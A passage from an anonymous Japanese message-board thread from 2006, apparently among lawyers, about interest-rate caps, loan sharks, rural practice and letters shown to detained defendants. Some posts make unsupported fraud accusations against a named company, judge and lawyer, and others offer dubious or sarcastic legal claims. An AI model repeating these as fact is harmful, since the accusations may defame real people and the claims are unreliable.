誰がどう見ても、おちこぼれ以外の何者でもないよね。
学業成績はそこそこだったんだけどね。
もうね、怖くて同窓会とか行けないよ(行ってるけどw前の会社を辞めてないことになってるww)。

498 :無責任な名無しさん:2006/09/14(木) 02:20:50 ID:c+pgyH1N
オチこぼれも浮きこぼれも大同小異
大事なのは身の丈に合った幸せを感じること

499 :無責任な名無しさん:2006/09/14(木) 07:56:01 ID:nIvZb++D
>オチこぼれも浮きこぼれも大同小異
>大事なのは身の丈に合った幸せを感じること

禿同。
次第にその境地に近づいていくようだ。
でも、やっぱり落ちこぼれたくないよ。




500 :無責任な名無しさん:2006/09/14(木) 07:57:33 ID:ppYyIv4S
オレは高金利引き下げには反対なんだが、むしろ今回は予定通り引き下げて欲しい。
そうでないと金利を引き下げると闇金が跋扈するという仮定が検証されないからだ。

501 :無責任な名無しさん:2006/09/14(木) 08:15:58 ID:fxNGb1gC
@リース詐欺における「原敬一郎裁判官の決定、

リース会社であるオリックスは”
リース物件全てに付いての証明は不要だ!貸付物品も
オリックスが所持している必要も無い!(詐欺だよね完全な!)」

 ;その上「電気、電話工事も元請で当然ながら
(自分の所で一括集金してるので、司法三者にはハイレベルすぎる?
話で理解出来ないだろうけど)請けて居るけど、
電気、電話工事の事業認可も工事資格も現場労災も第三者に対する
事故の賠償責任保険も一切オリックスには無いが、
リース会社であるオリックスにはこれ等労働基準法、労働安全衛生法、
建設業法、電気工事士法により定められた責任は取る必要が無い!」

 ;こんな「日本の建設工事に付いての”あらゆる法律も備わった
工事責任全てをぶっ潰す判決を平然と下して、
裁判所とは金融犯罪ロンダリング機関なのだ!どうだ!”」
と公言している現実も有ります!


502 :無責任な名無しさん:2006/09/14(木) 08:17:08 ID:fxNGb1gC
電話機リース詐欺つぶし! 
投稿者:Y本 投稿日:2006/09/14(Thu) 07:27 No.9896

 @この詐欺に立ち向かうには「世の中には弁護士会と言う、
正義の集団がいて、詐欺被害者を救済してくれるんだ!等と言う”
昔の探偵物マンガレベルの発想を捨てなければ無理ですよ!”
だって国家詐欺で最初に稼いでいるのは詐欺金融屋にくっ付いている弁護士だもの!」

 ;オリックスにくっ付いているのは「通産省の元役人だった
石上弁護士ですよ!つまり通産省もグルって事ですからねこの詐欺事業と言うのは!」

 ;電話機リース詐欺の根本になって居る物とは「詐欺合法化裁判雛形です!”
ファイナンスリースだと金融屋が言えば!”金融屋、
つまり金貸しがリース事業者を名乗っている事業形態なんですが、
ファイナンスリースだと言うと、金融リース事業者は貸付物品、
工事、メンテナンス等全てに付いての一切の証明は不要だ!”」

 ;ここまで乱暴極まる「司法ぐるみ詐欺合法化裁判雛形を作って
運営して来たんですよ!何時も基本は一緒です、
金融犯罪司法による合法化の手口と言うのはね!」


503 :無責任な名無しさん:2006/09/14(木) 08:26:15 ID:fxNGb1gC
電話機リース詐欺つぶし! 
投稿者:Y本 投稿日:2006/09/14(Thu) 07:27 No.9896

 @この詐欺に立ち向かうには「世の中には弁護士会と言う、
正義の集団がいて、詐欺被害者を救済してくれるんだ!等と言う”
昔の探偵物マンガレベルの発想を捨てなければ無理ですよ!”
だって国家詐欺で最初に稼いでいるのは詐欺金融屋にくっ付いている弁護士だもの!」

 ;オリックスにくっ付いているのは「通産省の元役人だった
石上弁護士ですよ!つまり通産省もグルって事ですからねこの詐欺事業と言うのは!」

 ;電話機リース詐欺の根本になって居る物とは「詐欺合法化裁判雛形です!”
ファイナンスリースだと金融屋が言えば!”金融屋、
つまり金貸しがリース事業者を名乗っている事業形態なんですが、
ファイナンスリースだと言うと、金融リース事業者は貸付物品、
工事、メンテナンス等全てに付いての一切の証明は不要だ!”」

 ;ここまで乱暴極まる「司法ぐるみ詐欺合法化裁判雛形を作って
運営して来たんですよ!何時も基本は一緒です、
金融犯罪司法による合法化の手口と言うのはね!」



504 :無責任な名無しさん:2006/09/14(木) 09:11:11 ID:0o11Juix
>>500
ヤミ金は跋扈するだろうよ。一時的には。
出資法が29.2に下がったときもヤミ金が増えた。
2年くらいで落ち着いたけど。



505 :無責任な名無しさん:2006/09/14(木) 09:54:02 ID:wuayBFyH
>>504
あれとヤミ金の跋扈との因果関係についてはダウト。
時間的に、出資法の上限金利が下がった時期と一致していたのは
事実だが、このとき、サラ金の貸し渋りが起きた事実が存在しない。

サラ金会社等の統計を見れば分かるのだが、この時期も武富士、
アコムといった大手サラ金の貸し出しは増えている。

29.2パーセントになった直後にヤミ金が増えたのは、不況で金銭の
需要が増え、サラ金による供給では追いつかなくなったところに、東京
にいながら、日本全国の消費者をターゲットにする銀行振込型のヤミ金
の手法が開発されたからだ(この方法は店舗がいらないし、手形小切手
を受け取る必要もないから、カモの範囲が広がる)。

サラ金に一人50万円までという制限がなければ、25〜29.2パーセント
の水準でサラ金がどんどん貸付額を増やしていき、ヤミ金が跋扈すること
はなかっただろう。ヤミ金が増えるかどうかは景気がいいか悪いかだよ。

506 :無責任な名無しさん:2006/09/14(木) 10:28:47 ID:SHOuLJn9
>>505
でも、今回は大手サラ金も中小サラ金も既貸出先のうち危ない貸出先には更新せずに、期限一括返済を求めるだろう。
そうなれば、債務者はヤミ金から借りて返済するしか方法がなく、どう考えてもヤミ金が増えるでは? 前回とは事情が全然
違うように思うがな。

507 :無責任な名無しさん:2006/09/14(木) 10:31:47 ID:0o11Juix
なるほど。
出資法引下げされてもサラ金の貸付高が増えてたんですね。
ということは,今回の「下げたから貸せなくなって消費者が困る」という業者の主張も,当を得ていないわけですな。

当方は東京までの往復交通費が5万くらいかかる地域だから,在東京の通販ヤミ金対応は簡単。
「東京からわざわざ来るわけないから」って被害者を安心させやすい。

508 :無責任な名無しさん:2006/09/14(木) 10:34:38 ID:0o11Juix
>>506
サラ金が自ら期限の利益を放棄していたこれまでの取扱が異常なのであって,
一括返済求められたら弁護士のところに駆け込んで,破産や任意整理が始まるだけ。
残債務や貸倒れが大きくなる前に精算できて,契約者にとってもサラ金にとっても,いいことずくめ。

509 :無責任な名無しさん:2006/09/14(木) 10:39:46 ID:SHOuLJn9
誰かが前に書いてたけど、破産できればいいってもんじゃないし、破産したくてもできない事情の人もいるよ。
誰でもいつでも弁護士に頼まれ状況があるわけでもないしね。

510 :無責任な名無しさん:2006/09/14(木) 11:45:08 ID:wuayBFyH
>>509
保証人のからみで破産できない(というよりしたくない人。法律上できることは明らか)や
弁護士に頼める状況にない人がいることが、貸金業者に高利を受け取らせていい理由に
なるとは思えませんな。

消費者が困る困るというのであれば、金利引き下げとともに、貸金業者は過払金の返還
を刑事罰をもって強制する法律にしたらどうだ。

511 :無責任な名無しさん:2006/09/14(木) 11:54:36 ID:xXlPWYFA
>>510保証人のからみで破産できない(というよりしたくない人。法律上できることは明らか)や
弁護士に頼める状況にない人がいることが、貸金業者に高利を受け取らせていい理由に
なるとは思えませんな

誰もそんなこと言ってませんよ。良く読んでね。「今回の改正ではヤミ金が増える
と思う。弁護士に依頼して全員破産や整理をすれば良いから構わないし、むしろ
望ましいという意見の人がいるが、そんな単純なものではない」と言ってるんです。













512 :無責任な名無しさん:2006/09/14(木) 12:27:52 ID:nIvZb++D
誰か、いい加減にサブタイトルの変更をお願いします。

MS先生、いかがでしょうか。

513 :無責任な名無しさん:2006/09/14(木) 13:02:53 ID:b6zVjKou
http://www.kyoto-np.co.jp/article.php?mid=P2006091400066&genre=D1&area=K10


514 :無責任な名無しさん:2006/09/14(木) 13:12:46 ID:bHCs8Zwn
つか、刑事の判決って普通は出席しない?
国選の場合でも、控訴するかどうかの意思確認必要だし。

515 :無責任な名無しさん:2006/09/14(木) 13:36:43 ID:INrYEcMX
>>512
途中で、変更は出来ないだろう。

516 :無責任な名無しさん:2006/09/14(木) 14:37:27 ID:TpbY6L3w
次のスレタイを考えよう。


517 :無責任な名無しさん:2006/09/14(木) 17:36:03 ID:eUTV/2bA
【床屋】弁護士本音talkスレPart26【ぜったい】

518 :無責任な名無しさん:2006/09/14(木) 18:04:49 ID:0pwrBcfI
だめだ。
それじゃあサラ金の代わりに床屋がたくさん寄ってくる。

519 :無責任な名無しさん:2006/09/14(木) 18:07:24 ID:jBHSq3G6
あの矢目判はもう逝ったのか?。つまらん、今日は帰ろうっと。




520 :無責任な名無しさん:2006/09/14(木) 18:11:45 ID:rhA2xsPQ
>>514
どうしてもやむを得ない急用が入ったときなんかは不出頭にするけどね
意思確認は事前又は事後にやったのでよいと思う。

521 :無責任な名無しさん:2006/09/14(木) 18:43:22 ID:ppYyIv4S
>>513
どうして実名報道しないんだろうね?
隠す必要ないのに。

522 :無責任な名無しさん:2006/09/14(木) 18:52:33 ID:oyoSTITD
裁判所から連絡を入れても連絡が取れなかったんだろうか?

523 :無責任な名無しさん:2006/09/14(木) 18:56:40 ID:YFT2z55Z
>>521
実名報道する程の公共性もないだろ?

524 :無責任な名無しさん:2006/09/14(木) 20:45:45 ID:0o11Juix
>>522
事務所にいなかっただけだろう

525 :無責任な名無しさん:2006/09/14(木) 20:46:27 ID:0o11Juix

【秋休み】弁護士本音talk26【ゴルフ三昧】

526 :無責任な名無しさん:2006/09/14(木) 20:53:45 ID:TpbY6L3w
【ゴルフ三昧】
あまりイクナイ。
弁護士が遊びまくっているような誤解を与える。また基地街がやってくる。


527 :無責任な名無しさん:2006/09/14(木) 21:11:35 ID:a+e8i7zH
【秋休み】……【仕事三昧】

528 :無責任な名無しさん:2006/09/14(木) 22:13:21 ID:u3C1KVkl
>>525
うらやましい・・・。

地方弁護士さん、普段どんな一週間ですか?
地方で独立している、40〜50期くらいの方、実体を教えてください。

東京の弁護士だとあんまりイメージできない。
国選と法律相談で引っかけた仕事と、地元の企業の相談とかってかんじですか?

529 :MS754 ◆yGUnQdhyV2 :2006/09/14(木) 22:16:53 ID:mzH+6oVd
どうも申し訳ありません。
【食欲の秋】弁護士本音talk26【仕事の秋】



530 :無責任な名無しさん:2006/09/14(木) 22:23:13 ID:c+pgyH1N
【食欲の秋】弁護士本音talk26【肥満の秋】w

531 :無責任な名無しさん:2006/09/14(木) 22:48:28 ID:azqun8Lh
>>528
中規模会で独立してますけど,だいたい10時前に事務所に出て,21時を超えて事務所にいることは月に3〜4日くらいですね。
昼間にぽっかり時間が空いたり,平日に1日休みをとったりして遊べるできるのがいいですね。
土日はどちらか事務所に出ている感じです。月に1回は会務で霞ヶ関に行きます。
仕事の内容は,そんなにしみったれてませんw
国選は常に3件くらい抱えていて,扶助もやりますが,法律相談や電話帳で来る破産事件や一般民事事件が多く,顧問先の地元企業の相談やいざこざの処理も多いですね。
管財人や財産管理人なども常に3〜4件は抱えます。
年に1件くらいは,煌(きら)びやかな企業法務関係の事件もあります。
たまには報酬が数百万円単位の仕事もなきゃ,やっていけないさ。

532 :東大:2006/09/14(木) 23:18:56 ID:A/uyhamC
こっちの方が良いと思われ

【偽善という名の】弁護士本音talk26【サービス業】


533 :無責任な名無しさん:2006/09/14(木) 23:21:28 ID:YWuZ3DD/
>>521
たぶん地元では誰でも知ってる有名人のあの人だから
名前を出す必要がないのさw
俺も相手方についてくれてずいぶん助かったことがある

534 :無責任な名無しさん:2006/09/14(木) 23:31:10 ID:u3C1KVkl
>>531
どうもありがとうございます。

21時を超えて事務所にいるのは月3〜4日ってところが死ぬほどうらやましいです。
いいですね〜。
事務諸経費はどのくらいですか?
事務1人にどのくらい働かせていくら渡していますか?

行ったことないけれど、山口とか行ってみようかな。
全く縁もゆかりもないけれど、九州の通り道だから道路事情がよさそう。


535 :無責任な名無しさん:2006/09/14(木) 23:41:50 ID:VNkIDMPh
>513
これって怖いな〜
裁判所は期日を口頭で述べるだけだから、聞き間違えると大変だ。
過去、民事で1回だけ聞き間違えたことがある。
14日の午前10時を、24日午前10時と聞き間違え、14j日に出頭しなかった。
民事だったから、「えええ?!どうもすみません」で済んだけれど、刑事だったら
新聞沙汰になるってことか・・・。

536 :無責任な名無しさん:2006/09/15(金) 00:32:13 ID:jrqhzmK8
自由と正義の公設事務所エッセイを楽しみに読んでる。
今回の人すごいね。

537 :無責任な名無しさん:2006/09/15(金) 00:40:28 ID:9RvBNH0+
裁判官が手帳の10月のページを開き,弁護士が11月のページを開いて,
「じゃあ,15日あたりどうですか?」
「午前中なら。」
「じゃあ,10時30分から。弁論準備で。」
「はい。」
「次回は,10月15日10時半から。」
「…っとちょっとまったー!」
ってことが過去に2度以上ある。

準備の期間の認識違いが根底にある。

538 :無責任な名無しさん:2006/09/15(金) 00:43:47 ID:9RvBNH0+
>>534

中規模会,弁1事務2の事務所ですが,事務所経費は月100万(交際費除く)ってとこです。
事務員は定時で帰りますよ。月給1人15万くらいです。
山口・徳島・宮崎・熊本・長崎など50人〜100人程度の会では,1〜2年でセルシオが買えるという噂。


539 :無責任な名無しさん:2006/09/15(金) 01:07:36 ID:9RvBNH0+
過疎地はイイよ〜…とはちょっと言えないが,地方はイイよ〜。
都会に疲れたら移住を検討しては?

540 :無責任な名無しさん:2006/09/15(金) 07:43:29 ID:dhuebCKK
>>537
それを避けるために、必ず俺自身も口で「何月何日、分かりました」、と言うようにしている。

541 :通報協力お願いします!!:2006/09/15(金) 07:55:57 ID:+d/VRefx
ヤフオクがリタリン売買の巣窟になってる〜
http://page.auctions.yahoo.co.jp/jp/auction/93669047
http://page2.auctions.yahoo.co.jp/jp/auction/b70047339
http://page11.auctions.yahoo.co.jp/jp/auction/n45260496
http://page6.auctions.yahoo.co.jp/jp/auction/f46428004



542 :無責任な名無しさん:2006/09/15(金) 08:28:58 ID:e+f0jmga
>>536
あんなに仕事するんなら嫌だな。
月1、2件程度なら、3年間奄美大島に行ってもいいけどね

543 :無責任な名無しさん:2006/09/15(金) 11:11:03 ID:UlZprl05
公設は過払いの件数で経営状況が相当違うみたいですね。

ただ,若いときに過払いの甘い汁を吸って,
感覚が狂わないか,少し心配ではありますね。

まあ,人ごとですけど。

544 :無責任な名無しさん:2006/09/15(金) 12:16:03 ID:W97i5QGe
>>542
4年後にはそうなっているだろう。

545 :無責任な名無しさん:2006/09/15(金) 13:02:16 ID:WWo9ihGd
>>538
熊本は約150人ですよ

546 :無責任な名無しさん:2006/09/15(金) 14:02:14 ID:IkbbvGPb
 ところで懲戒事例の茨城県の弁護士は、ずいぶん稼いでいるように思いましたが、あれぐらいは当たり前なのでしょうか。
それとも、ダーティーな筋の依頼が多いということだろうか。

547 :無責任な名無しさん:2006/09/15(金) 14:04:28 ID:EeiY5pSk
>>537
あるある。
公設でものんびり休み取ってたりする人もいるから,いろいろなんじゃないだろうか

奄美の人はcamでもよく見るね

548 :無責任な名無しさん:2006/09/15(金) 14:06:30 ID:q3ID3Ypa
>>546
> 懲戒事例の茨城県の弁護士
誰のことかkwsk

549 :無責任な名無しさん:2006/09/15(金) 14:09:56 ID:Lq67/aG2
       o_____              
       ./★ ★ ★/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/
      / ★ ★ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/
     ./★ ★★ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/
    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/   < 下げるな
   ./ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/
  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/
    ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

          ___         ___       ___
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  |           多  重  債  務  対  策  本  部             |
  |                                                      |
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.   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

 

550 :無責任な名無しさん:2006/09/15(金) 14:31:21 ID:/44qHl0S
>>547
camと言えば、>>137が書いてる「うpします」とか書いてる先生、今度は「確定しますた」とか書いてるな。

551 :無責任な名無しさん:2006/09/15(金) 14:51:56 ID:EeiY5pSk
上げる場所も素人じゃない場所だよな

http://blog.livedoor.jp/masami_hadama/archives/50924789.html

さて,初心に戻ってまじめに仕事するか。

552 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/09/15(金) 16:28:00 ID:r/NP198w
今日東京拘置所に行ったらやけに文屋さんが多いんでナニかなって思ったら
http://www.asahi.com/national/update/0915/TKY200609150243.html
だったのねん。

553 :無責任な名無しさん:2006/09/15(金) 16:39:39 ID:KBImBmgw
>>543 認定司法書士の事務所の方が心配だ。それ。

554 :無責任な名無しさん:2006/09/15(金) 16:41:44 ID:wjm+Zdwc
>>553
認定司法書士はこんどは賃借人を追い出すビジネスをはじめるらしい
建物明渡事件の実務と書式―相談から保全・訴訟・執行まで―
http://homepage3.nifty.com/minjiho/books/tatemonoakewatasi.htm

555 :無責任な名無しさん:2006/09/15(金) 16:43:40 ID:BTmv1hWR
>>552
Anehaの保釈じゃないの?

556 :無責任な名無しさん:2006/09/15(金) 16:46:40 ID:BTmv1hWR
奄美公設のシステムは見習うべきだなあ。

地方で,支部がないけど簡裁だけあるような地域は,かなりの過払いが埋もれている。
親元でスネをかじってる夫婦などが20年以上サラ金に貢いでいたり,小規模の自営業者が延々と利益を上納していたりする。

557 :無責任な名無しさん:2006/09/15(金) 16:47:37 ID:vbz09Yfi
麻原弁護団どうすんの?
スーパーオウンゴールじゃん。

558 :無責任な名無しさん:2006/09/15(金) 16:49:44 ID:wjm+Zdwc
麻原が弁護人の懲戒申し立てしたら笑うけどなw

おまえが何もしゃべらんから趣意書書けなかったんじゃぼけwみたいなw

559 :無責任な名無しさん:2006/09/15(金) 16:56:15 ID:BTmv1hWR
本人が懲戒申立することができたら,本人に訴訟対応能力くらいはあったんじゃないかということになるかな。
あるいは,被懲戒者の答弁として,「懲戒申立人は訴訟対応能力がないので,懲戒請求自体が無効」とか。
世間的には,早期に判決確定させた控訴審弁護団GJ!ってことになるのかな。

560 :無責任な名無しさん:2006/09/15(金) 16:58:18 ID:BTmv1hWR
弁護人が自分を懲戒請求したりして。
懲戒請求を認諾して,不適切弁護だったので再審請求とか。

561 :無責任な名無しさん:2006/09/15(金) 17:13:14 ID:L7x+Mn24
>>560
一種の「自首」だなw

あ、発覚した後だからダメか。

562 :無責任な名無しさん:2006/09/15(金) 17:43:19 ID:07Ty95tx
奄美公設は,島に地裁支部があるんじゃない。
それだから,訴訟提起した場合に金融業者が困るので,
強い態度に出られるのでは?

まあ,他人様の事情なので,どうでもよいことだが。

563 :無責任な名無しさん:2006/09/15(金) 17:54:29 ID:Bx9ue0ZG
>>562
過疎地はどこでもそうだよ。交通不便が最大の武器になってる。

564 :無責任な名無しさん:2006/09/15(金) 17:55:55 ID:BTmv1hWR
>>562
業者の移送申立をちゃんと蹴ってくれたり,ヤミ金の仮差を担保なしで決定してくれたりする,良い支部長に巡り会っているのもよかったんじゃないかな。


565 :無責任な名無しさん:2006/09/15(金) 18:30:33 ID:luV1r8gf
過払いで儲かるので、島を離れられなくなったみたいですねw

ホントは、事件が残ってるうちに後続に引き継がないといけないでしょ。

566 :無責任な名無しさん:2006/09/15(金) 19:33:57 ID:NOGGGRFB
あーあ、これで松本は、まともな裁判を受けさせてくれなかった殉教者ということに
なっちまった。教団にとってはもっとも好都合な結果だな。裁判所は馬鹿じゃない?


567 :無責任な名無しさん:2006/09/15(金) 21:26:07 ID:ldjhI5sf
>裁判所は馬鹿じゃない?

とても、弁護士の発言とは思えないんだが。

568 :無責任な名無しさん:2006/09/15(金) 21:29:32 ID:xZ3XY+9H
このスレは非弁が荒らして煽るスレですから……

569 :無責任な名無しさん:2006/09/15(金) 22:41:36 ID:lmld0w/m
今、報道ステーション見ててびっくりした。
ミラーマン否認かよ。この人一般人に現行犯で逮捕されたんだろ。
なのに警察のでっち上げって・・・
弁護人も頭痛いだろうな。

570 :無責任な名無しさん:2006/09/15(金) 22:44:19 ID:pnURKZZK
俺もミクシィ覗いてみたいんだけど誰も誘ってくれないよ。
2ちゃんレベル低すぎ。

571 :無責任な名無しさん:2006/09/15(金) 22:44:49 ID:SlOjsrvM
逮捕直後の弁録「酔ってて覚えてない。家に帰る途中だった。」
勾留直前の調書「間違えて逆方向の電車に乗った。」

かわいそすぎる。弁護人が。


572 :無責任な名無しさん:2006/09/15(金) 22:45:32 ID:SlOjsrvM
>>570
誘おうか?

573 :無責任な名無しさん:2006/09/15(金) 23:13:56 ID:UbvN6+j9
三連休にすること

(1)新規開拓の依頼者へのレポートと参考資料づくり (ぜったい)
(2)示談事件の受任通知といちゃもん的なお返事 (ぜったい)
(3)専門家への質問するための予習 (ぜったい)
(4)議事録のチェック (そこそこ)
(5)偉い先生から借りたDVD2巻の視聴 (できれば)
(6)くだもののお礼状(ほどほど)
(7)床屋 (ひじょうにまずい)


574 :無責任な名無しさん:2006/09/15(金) 23:35:38 ID:SlOjsrvM

特例高金利って,利限法の特則じゃなくて,出資法の特則なんだよね?

25.5%で決着したというのが政治色満点ですなあ。
大手が貸付利率を変えなくていい数字。

575 :無責任な名無しさん:2006/09/15(金) 23:47:30 ID:lmld0w/m
>>573
礼状なんか定型文で事務員に出させろよ。

576 :無責任な名無しさん:2006/09/16(土) 04:25:18 ID:Nbrbwiqx
>>573
何かずっと変わらないようなw

577 :無責任な名無しさん:2006/09/16(土) 07:25:19 ID:oERx0FeI
>573
間違い探しみたいだねw
先週は、いちゃもん的なお返事は(できれば)だった?
まあ、私も同じようなもので、やることリストに2週間以上載りっぱなしの
ものがある。訴訟になってなくて、〆切ないものだとなかなか消化できない

578 :無責任な名無しさん:2006/09/16(土) 08:12:30 ID:PwSKoUDo
>>563
茨城県下妻市も不便ですよ。
簡裁がある茨城県古河市よりも不便。

といいつつ、仕事をしたい皆さん。是非茨城県下妻市へ。
茨城県弁護士会下妻支部には、弁護士が8人しかいないので、仕事は確実にあると思いますよ。

579 :無責任な名無しさん:2006/09/16(土) 08:16:21 ID:MpMLqZsx
>>575
お礼状自分で書く=律儀なんだろ。
今時期だと梨とか葡萄とかだろうか。

自分も、常にやるべきことはいっぱいある。なかなか減らない。

580 :無責任な名無しさん:2006/09/16(土) 08:57:11 ID:viUIxNhC
地方だと車は必須だよね。僕は完全なペーパードライバーだけど。


581 :無責任な名無しさん:2006/09/16(土) 10:04:10 ID:5PcjII0l
>>573
藤子不二男マンガにでてくる
ラーメン小池のような髪型を想像してます。

582 :公設:2006/09/16(土) 12:18:15 ID:BHiE46As
公設事務所については誤解が多いですね。
当事者として憤りを感じています。
一般会員の皆様には、あんたらにはびた一文も
恵んでもらってはいませんよ、と言いたいですね。

583 :無責任な名無しさん:2006/09/16(土) 12:40:27 ID:p+Tg+YuZ
ひまわり特別会費がいけないんだよ。
即刻廃止すべきだ。

584 :無責任な名無しさん:2006/09/16(土) 12:47:11 ID:BqxSqhdk
依頼人の奥さんが若くて綺麗で話が面白い。
接見も文書も禁止なので、奥さんからの手紙を裁判の打ち合わせの時に見せてあげてる。
ファックスでもメールでも済むのに、毎回手書きの手紙と差し入れ持ってちょこちょこ着いてくる奥さんにきゅんとくるものがある。

依頼人を差別する気はないが、臭いおっさんより若い人妻。
やっぱり嬉しい。

…駄目かな。

585 :無責任な名無しさん:2006/09/16(土) 12:58:20 ID:SxJ9HpVd
>>584
手紙の実物をガラス越しに見せる行為は違法。

あなたは馬鹿ですか?


586 :無責任な名無しさん:2006/09/16(土) 13:08:22 ID:2k0S4kFk
>>585
そうだよね
たいていは要旨を口頭で伝えるだけです(AQやBWの打ち合わせとして)
目の前で読み上げるのが違法かどうかが問題になっているくらいだから。

587 :無責任な名無しさん:2006/09/16(土) 13:10:33 ID:AxESM21F
>>584
接禁の被告人に手紙見せてるのかよ。恥を知れ。
ネタか?


588 :無責任な名無しさん:2006/09/16(土) 13:14:29 ID:2k0S4kFk
>>584
こういうこと書かれると弁護士は接見の秘密交通権の密室を濫用して
やりたい放題のことしているとDQNなマスコミに書かれるぞ

589 :無責任な名無しさん:2006/09/16(土) 14:18:23 ID:9VRHyqAm
>>585
接禁だからといって手紙を見せることが全て違法になるわけではない。
内容次第だ。

590 :無責任な名無しさん:2006/09/16(土) 14:20:27 ID:bflskaN5
話を元に戻すけれども、いつの間にか利息制限法が改悪されるようですねw

591 :無責任な名無しさん:2006/09/16(土) 14:45:57 ID:w2CsMHJX
平成12年埼玉
 弁護活動のため,被告人甲の作成したノートを被告人乙の弁護人が乙に差入。
 これに対して,検察庁が「接見禁止決定を潜脱」する行為として,埼玉弁護士会に懲戒請求の申立。
 綱紀委員会で弁護人は懲戒不相当と議決。

平成15年鹿児島
 国選弁護人が接見禁止中の被告人に対して,家族の励ましの手紙を接見中に見せた。
 検察庁は,「接見禁止決定を潜脱」するものとして,国選弁護人としてふさわしくないと裁判所に解任の申出。
 裁判所がこれに応じて解任したため,鹿児島県弁護士会は国選弁護人推薦手続の停止を宣言して裁判所に抗議。

592 :無責任な名無しさん:2006/09/16(土) 15:08:12 ID:Aol7tjym
>>585
 接見等禁止決定は弁護人には及びません。
 したがって、弁護人が何を見せようが何を差入れようが、それは法的には全く自由
で、ただ、罪証隠滅・逃亡に関係することをすると、それは弁護士倫理から懲戒の対象
となるというだけです。

593 :無責任な名無しさん:2006/09/16(土) 15:10:45 ID:2k0S4kFk
家族の励まし手紙程度なら接見禁止一部解除が普通はおりるから
ちゃんと手続き踏もう
接見時に持参した携帯電話で外部に連絡とらせた弁護士が出て以来
裁判官も相当ピリピリしだした
無用なトラブルは時間の無駄

594 :無責任な名無しさん:2006/09/16(土) 15:12:15 ID:2k0S4kFk
>>592
裁判所の考えは違うぞ
口頭なら何話してもいいけれど
書類の差し入れと同視される書類の展示には
接見禁止の効力が及ぶとするのが先例

595 :無責任な名無しさん:2006/09/16(土) 15:21:56 ID:qnjxk3Kk
手紙を読み上げればいいんだな。

596 :無責任な名無しさん:2006/09/16(土) 15:36:03 ID:2k0S4kFk
>>595
それは脱法行為ではないかと喧々諤々
AQやBWの打ち合わせで要旨を告げるなら問題なさげ
弁護側書証として請求した上,接見禁止の一部解除が確実

597 :無責任な名無しさん:2006/09/16(土) 15:55:44 ID:p+Tg+YuZ
弁護人の秘密交通権認めてるんだから何やっても許されるだろ
何やってるか分かるって事は秘密交通権の侵害だ

598 :無責任な名無しさん:2006/09/16(土) 16:01:40 ID:2k0S4kFk
>>597
接見禁止の判例や懲戒例を嫁

599 :無責任な名無しさん:2006/09/16(土) 16:46:33 ID:X9nRH3Bp
れくさすLS(旧せるしお)ほしい
休み明け発売

600 :無責任な名無しさん:2006/09/16(土) 17:30:36 ID:VSDT/USM
お利口さんばっかりだな

601 :無責任な名無しさん:2006/09/16(土) 17:31:05 ID:w2CsMHJX
共犯者の手紙を,内容を検査のうえ,差し入れても懲戒不相当…というのが先例。
遠慮することから弁護権の後退が始まる。
使える権利を行使することで,権利は守られる。

602 :無責任な名無しさん:2006/09/16(土) 17:32:09 ID:w2CsMHJX
まあ,大阪弁護士会の通説と東京弁護士会の通説は大きく違うわけだが。

603 :無責任な名無しさん:2006/09/16(土) 17:56:23 ID:jhAwLlWl
大阪の通説は?

604 :無責任な名無しさん:2006/09/16(土) 19:27:06 ID:vTwwORNV
20% 〜50万〜 18% 〜500万〜 20% でおk?

605 :無責任な名無しさん:2006/09/16(土) 19:34:45 ID:vTwwORNV
20% 〜50万〜 18% 〜500万〜 15% だった・・


606 :無責任な名無しさん:2006/09/16(土) 19:35:28 ID:GOhAaeAk
500万以上が20%とはひどいな。

607 :無責任な名無しさん:2006/09/16(土) 21:31:05 ID:V0OQHQ+h
>>603
ほとんどなんでもOK。
証拠隠滅も偽証教唆も,弁護人に故意がなければそれでOK。
むしろ,やれることをやらないのは弁護過誤って勢い。


608 :無責任な名無しさん:2006/09/16(土) 22:02:56 ID:XTRPPdrT
>>607
おいおい、それは893に特化した先生の勝手な言い分だろ


609 :無責任な名無しさん:2006/09/16(土) 22:19:16 ID:V0OQHQ+h
G先生とかヤクザに特化してんの?

610 :無責任な名無しさん:2006/09/16(土) 22:21:53 ID:x/o63EB/
いま飲酒運転で捕まったら絶対全国ニュースに出られるなあ

611 :無責任な名無しさん:2006/09/16(土) 22:49:46 ID:VSDT/USM
でもヤクザから権利の侵害は始まるよ

612 :無責任な名無しさん:2006/09/16(土) 22:51:03 ID:VSDT/USM
本来的にはよろしくないが、ヤクザだから制限はしょうがない
               ↓ 
       一般人でもごく普通に制限OK


弁護士は文句を言うのが仕事だ

613 :無責任な名無しさん:2006/09/16(土) 23:15:58 ID:2k0S4kFk
>>610
漏れのボス弁なんて若いときは飲酒運転の切符(罰金)3枚でやっと戒告という時代
いなまら全国ニュースに立候補だよね

614 :無責任な名無しさん:2006/09/16(土) 23:21:21 ID:fGFBJZEn
接見の時、内容に問題がないメモとか手紙とか見せてもいいんじゃないの?
刑訴39で書類の授受が認められてるんだし。

615 :無責任な名無しさん:2006/09/16(土) 23:40:45 ID:vTwwORNV
Y野さんがぐるぐるドカンに法学博士の肩書きで出てるw

616 :無責任な名無しさん:2006/09/17(日) 00:14:26 ID:jXUG2nN1
show-zaburoって,どこでどういう人脈があるんだろうね?
ところで,以前,業務停止中にもかかわらず「弁護士」の肩書きでテレビに出てた件は,ちゃんと懲戒請求されたのだろうか?

617 :無責任な名無しさん:2006/09/17(日) 00:42:57 ID:5j4Hcg31
懲戒請求は、申立がないとダメなの?

告発や、現認という端緒はないのだろうか?

618 :無責任な名無しさん:2006/09/17(日) 00:55:00 ID:ZhDYdlDo
>>617
日弁連のホムペ嫁

619 :無責任な名無しさん:2006/09/17(日) 09:13:46 ID:39HJHReO
>607 ほとんどなんでもOK。
>証拠隠滅も偽証教唆も,弁護人に故意がなければそれでOK。
>むしろ,やれることをやらないのは弁護過誤って勢い。

